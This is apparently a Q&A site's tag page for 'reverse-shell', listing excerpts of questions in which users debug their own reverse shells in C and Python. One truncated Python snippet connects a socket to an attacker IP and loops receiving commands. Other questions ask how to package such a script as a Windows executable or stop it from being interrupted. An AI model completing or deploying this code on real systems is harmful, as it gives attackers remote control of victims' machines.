Questions tagged [reverse-shell]
68 questions
0
votes
1 answer
Block SIGINT from terminating program
I need some help on C program - it is a reverse shell (https://github.com/arturgontijo/remoteShell/blob/master/reverseShell.c) I made few changes, like put that all in a loop and some sleep pattern + put some argument to pass directly IP and PORT…

BufferInterflow
- 1
- 2
0
votes
1 answer
WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect
I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'"…

Benassin
- 37
- 7
0
votes
1 answer
Print current directory in reverse shell
I tried to build a very little reversed shell in C.
The connection works, the commands are also executed, but I wonder how it's possible to print the current directory. My code so far:
Client:
// [...]
// creating socket
// connect
void…

j3141592653589793238
- 1,810
- 2
- 16
- 38
0
votes
1 answer
Python http reverse shell client crashes when run from exe
I am fairly new to programming with python, and was able to get the code to work when running the script from the interpreter. However, when i use pyinstaller to create a windowless single file executable it crashes when i send the client a simple…

Tom M.
- 1
0
votes
1 answer
Error when running TCP Reverse shell
I'm very new to socket, and am currently taking an online course for offensive pen tests. One of the lessons is TCP Reverse shells. I am running two scripts on separate virtual machines (using VirtualBox), one being the attacker and another being…

Spiralio
- 361
- 1
- 4
- 15
0
votes
2 answers
I can not change a directory with a reverse-shell (tcp ip) coder in python
I tried to code a reverse shell in python (reverse tcp ip) with netcat and I can not change the directory with the module os.chdir () here is my code:
import socket
import subprocess
import os
host = 'localhost'
port = 4444
s =…

msfhacker_surfer
- 1
- 1
-2
votes
2 answers
Ncat reverse shell, No connection
I'm facing a problem establishing a reverse shell using the Ncat (Nmap's tool). At first it worked properly, but when I swap the target and attacking machine it doesn't.
Case 1: I set up a Ubuntu virtual private server (IP Address: 172.105.253.156),…

Uday Kiran
- 1
- 2
-2
votes
1 answer
how to make a python file executable on windows?
#!/usr/bin/python
import subprocess
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.7", 4444)) # first parameter is IP address of your kali linux machine
while True:
command = sock.recv(2048)
if…